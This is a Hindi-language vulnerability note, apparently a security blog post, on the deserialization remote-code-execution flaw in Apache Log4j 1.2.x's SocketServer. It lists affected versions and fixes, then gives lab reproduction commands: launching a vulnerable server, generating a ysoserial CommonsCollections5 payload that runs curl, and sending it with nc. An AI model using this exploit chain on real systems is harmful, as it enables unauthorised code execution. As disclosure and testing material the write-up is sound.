
Apache Log4j 1.2.X में डिसीरियलाइज़ेशन रिमोट कोड एक्ज़ीक्यूशन भेद्यता मौजूद है
भेद्यता चेतावनी संदर्भ लिंक: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ
Apache Log4j अमेरिकी Apache सॉफ्टवेयर फाउंडेशन का एक Java आधारित ओपन-सोर्स लॉगिंग टूल है। Apache Log4j 1.2.X श्रृंखला संस्करणों में deserialization रिमोट कोड एक्सीक्यूशन भेद्यता मौजूद है। हमलावर इस भेद्यता का उपयोग करके कोई भी दुर्भावनापूर्ण कमांड निष्पादित कर सकते हैं। Log4j 1.2.X में एक SocketServer क्लास शामिल है, जो अविश्वसनीय डेटा को deserialize करने में आसान है। जब लॉग डेटा के लिए अविश्वसनीय नेटवर्क ट्रैफिक सुनते समय, deserialization गैजेट के साथ संयोजन में उपयोग किए जाने पर, इस क्लास का उपयोग रिमोट से मनमाना कोड निष्पादित करने के लिए किया जा सकता है। प्रभाव में वर्तमान नवीनतम संस्करण शामिल है।
उच्च जोखिम
प्रभावित क्षेत्र 1.2.4 <= Apache Log4j <= 1.2.17 (नवीनतम संस्करण)
सुधार सुझाव
Apache Log4j 2 श्रृंखला के नवीनतम संस्करण में अपग्रेड करें
इस क्लास द्वारा खोले गए सॉकेट पोर्ट को इंटरनेट पर उजागर करने पर रोक लगाएं
Apache Log4j 2.8.1 युग में भी deserialization रिमोट कोड एक्सीक्यूशन भेद्यता (CVE-2017-5645) मौजूद थी, उस समय ट्रिगर होने वाला भेद्यता वर्ग org.apache.logging.log4j.core.net.server.TcpSocketServer था। Apache Log4j 1.2.X युग में, भेद्यता वर्ग org.apache.log4j.net.SocketServer में बदल गया।
रात में खोज करने पर पता चला कि log4j 1.X के socketserver को शुरू करने का तरीका java कमांड के माध्यम से है, न कि java कोड के माध्यम से। (यदि अन्य शुरू करने के तरीके हैं, तो कृपया बताएं।)
इसी तरह, प्रभावित jar फ़ाइलों और कोड निष्पादन करने में सक्षम jar फ़ाइलों को डाउनलोड करना, उन्हें पर्यावरण चर में सेट करना (नीचे Windows पर्यावरण के लिए), सेवा प्रारंभ करना, 3 पैरामीटर पास करना: एक पोर्ट, log4j कॉन्फ़िगरेशन फ़ाइल, और lcf निर्देशिका:
java -cp log4j-1.2.17.jar;c3p0-0.9.5.2.jar;mchange-commons-java-0.2.11.jar;commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 log4jserver.properties ./
java -cp log4j-1.2.17.jar:../commons-collections/commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 config/log4jserver.properties ./
java -jar ysoserial-master.jar CommonsCollections5 "curl http://127.0.0.1/ssrf/ssrf.php?rand=log4j" > log4j.curl.bin
nc 127.0.0.1 4560 < log4j.curl.bin
संबंधित jar फ़ाइलें प्राप्त करें: https://github.com/shadow-horse/Vulenvironment/libs